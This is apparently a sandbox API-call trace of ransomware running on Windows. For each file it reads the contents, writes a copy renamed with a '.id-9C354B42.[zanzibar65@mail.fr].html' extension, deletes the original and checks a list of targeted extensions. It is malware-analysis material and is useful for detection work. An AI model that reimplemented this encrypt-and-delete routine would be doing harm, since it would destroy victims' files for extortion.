WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x7130, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x7130, lpOverlapped=0x0) returned 1 [0048.756] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.756] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0048.756] SetEndOfFile (hFile=0x1f4) returned 1 [0048.756] CloseHandle (hObject=0x1f4) returned 1 [0048.756] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.756] SetEndOfFile (hFile=0x1f0) returned 1 [0048.757] CloseHandle (hObject=0x1f0) returned 1 [0048.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.758] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\msjet.xsl")) returned 1 [0048.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.758] lstrlenW (lpString=".doc") returned 4 [0048.758] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0048.758] lstrlenW (lpString=".docx") returned 5 [0048.758] lstrcmpiW (lpString1=".docx", lpString2="t.xsl") returned -1 [0048.758] lstrlenW (lpString=".pdf") returned 4 [0048.758] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0048.758] lstrlenW (lpString=".xls") returned 4 [0048.758] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0048.758] lstrlenW (lpString=".xlsx") returned 5 [0048.758] lstrcmpiW (lpString1=".xlsx", lpString2="t.xsl") returned -1 [0048.758] lstrlenW (lpString=".ppt") returned 4 [0048.758] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0048.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.758] lstrlenW (lpString=".zip") returned 4 [0048.758] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0048.758] lstrlenW (lpString=".rar") returned 4 [0048.759] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0048.759] lstrlenW (lpString=".bz2") returned 4 [0048.759] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0048.759] lstrlenW (lpString=".7z") returned 3 [0048.759] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0048.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.759] lstrlenW (lpString=".dbf") returned 4 [0048.759] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0048.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.759] lstrlenW (lpString=".1cd") returned 4 [0048.759] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0048.759] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\msjet.xsl") returned 77 [0048.759] lstrlenW (lpString=".jpg") returned 4 [0048.759] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0048.759] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.759] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.760] GetLastError () returned 0x0 [0048.760] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xc44, lpOverlapped=0x0) returned 1 [0048.761] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xc50, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xc50, lpOverlapped=0x0) returned 1 [0048.762] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.762] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.762] SetEndOfFile (hFile=0x1f4) returned 1 [0048.762] CloseHandle (hObject=0x1f4) returned 1 [0048.762] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.762] SetEndOfFile (hFile=0x1f0) returned 1 [0048.763] CloseHandle (hObject=0x1f0) returned 1 [0048.764] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.764] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00126_.gif")) returned 1 [0048.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.764] lstrlenW (lpString=".doc") returned 4 [0048.764] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.764] lstrlenW (lpString=".docx") returned 5 [0048.764] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.764] lstrlenW (lpString=".pdf") returned 4 [0048.764] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.764] lstrlenW (lpString=".xls") returned 4 [0048.764] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.764] lstrlenW (lpString=".xlsx") returned 5 [0048.764] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.764] lstrlenW (lpString=".ppt") returned 4 [0048.764] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.765] lstrlenW (lpString=".zip") returned 4 [0048.765] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.765] lstrlenW (lpString=".rar") returned 4 [0048.765] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.765] lstrlenW (lpString=".bz2") returned 4 [0048.765] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.765] lstrlenW (lpString=".7z") returned 3 [0048.765] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.765] lstrlenW (lpString=".dbf") returned 4 [0048.765] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.765] lstrlenW (lpString=".1cd") returned 4 [0048.765] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00126_.GIF") returned 63 [0048.765] lstrlenW (lpString=".jpg") returned 4 [0048.765] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.765] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=12482) returned 1 [0048.765] CloseHandle (hObject=0x1f0) returned 1 [0048.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0048.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.766] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.766] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.766] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.766] GetLastError () returned 0x0 [0048.766] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x30c2, lpOverlapped=0x0) returned 1 [0048.768] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0048.769] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.769] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.769] SetEndOfFile (hFile=0x1f4) returned 1 [0048.769] CloseHandle (hObject=0x1f4) returned 1 [0048.769] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.769] SetEndOfFile (hFile=0x1f0) returned 1 [0048.770] CloseHandle (hObject=0x1f0) returned 1 [0048.770] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.770] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0048.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.770] lstrlenW (lpString=".doc") returned 4 [0048.770] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.770] lstrlenW (lpString=".docx") returned 5 [0048.770] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.770] lstrlenW (lpString=".pdf") returned 4 [0048.770] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.770] lstrlenW (lpString=".xls") returned 4 [0048.770] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".xlsx") returned 5 [0048.771] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.771] lstrlenW (lpString=".ppt") returned 4 [0048.771] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.771] lstrlenW (lpString=".zip") returned 4 [0048.771] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".rar") returned 4 [0048.771] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.771] lstrlenW (lpString=".bz2") returned 4 [0048.771] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.771] lstrlenW (lpString=".7z") returned 3 [0048.771] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.771] lstrlenW (lpString=".dbf") returned 4 [0048.771] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.771] lstrlenW (lpString=".1cd") returned 4 [0048.771] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.771] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0048.771] lstrlenW (lpString=".jpg") returned 4 [0048.771] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.772] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=5253) returned 1 [0048.772] CloseHandle (hObject=0x1f0) returned 1 [0048.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 0x20 [0048.772] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.772] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.772] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.772] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.772] GetLastError () returned 0x0 [0048.772] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x1485, lpOverlapped=0x0) returned 1 [0048.774] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1490, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0x1490, lpOverlapped=0x0) returned 1 [0048.775] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.775] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.775] SetEndOfFile (hFile=0x1f4) returned 1 [0048.775] CloseHandle (hObject=0x1f4) returned 1 [0048.775] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.775] SetEndOfFile (hFile=0x1f0) returned 1 [0048.776] CloseHandle (hObject=0x1f0) returned 1 [0048.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00130_.gif")) returned 1 [0048.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.777] lstrlenW (lpString=".doc") returned 4 [0048.777] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.777] lstrlenW (lpString=".docx") returned 5 [0048.777] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.777] lstrlenW (lpString=".pdf") returned 4 [0048.777] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.777] lstrlenW (lpString=".xls") returned 4 [0048.777] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.777] lstrlenW (lpString=".xlsx") returned 5 [0048.777] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.777] lstrlenW (lpString=".ppt") returned 4 [0048.777] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.777] lstrlenW (lpString=".zip") returned 4 [0048.777] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.777] lstrlenW (lpString=".rar") returned 4 [0048.777] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.777] lstrlenW (lpString=".bz2") returned 4 [0048.777] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.777] lstrlenW (lpString=".7z") returned 3 [0048.777] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.777] lstrlenW (lpString=".dbf") returned 4 [0048.777] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.777] lstrlenW (lpString=".1cd") returned 4 [0048.777] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00130_.GIF") returned 63 [0048.777] lstrlenW (lpString=".jpg") returned 4 [0048.777] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.778] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2ebff1c | out: lpFileSize=0x2ebff1c*=2596) returned 1 [0048.778] CloseHandle (hObject=0x1f0) returned 1 [0048.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 0x20 [0048.778] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0048.778] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0048.778] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.779] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0048.779] GetLastError () returned 0x0 [0048.779] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0xa24, lpOverlapped=0x0) returned 1 [0048.780] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xa30, lpOverlapped=0x0) returned 1 [0048.781] ReadFile (in: hFile=0x1f0, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ebfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2ebfed4*=0x0, lpOverlapped=0x0) returned 1 [0048.781] WriteFile (in: hFile=0x1f4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ebfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2ebfc9c*=0xec, lpOverlapped=0x0) returned 1 [0048.781] SetEndOfFile (hFile=0x1f4) returned 1 [0048.781] CloseHandle (hObject=0x1f4) returned 1 [0048.782] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ebfec8 | out: lpNewFilePointer=0x0) returned 1 [0048.782] SetEndOfFile (hFile=0x1f0) returned 1 [0048.782] CloseHandle (hObject=0x1f0) returned 1 [0048.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0048.783] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00135_.gif")) returned 1 [0048.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.783] lstrlenW (lpString=".doc") returned 4 [0048.783] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.783] lstrlenW (lpString=".docx") returned 5 [0048.783] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0048.783] lstrlenW (lpString=".pdf") returned 4 [0048.783] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.783] lstrlenW (lpString=".xls") returned 4 [0048.783] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.783] lstrlenW (lpString=".xlsx") returned 5 [0048.783] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0048.783] lstrlenW (lpString=".ppt") returned 4 [0048.783] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.783] lstrlenW (lpString=".zip") returned 4 [0048.783] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.783] lstrlenW (lpString=".rar") returned 4 [0048.783] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.783] lstrlenW (lpString=".bz2") returned 4 [0048.783] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.783] lstrlenW (lpString=".7z") returned 3 [0048.784] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.784] lstrlenW (lpString=".dbf") returned 4 [0048.784] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.784] lstrlenW (lpString=".1cd") returned 4 [0048.784] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00135_.GIF") returned 63 [0048.784] lstrlenW (lpString=".jpg") returned 4 [0048.784] 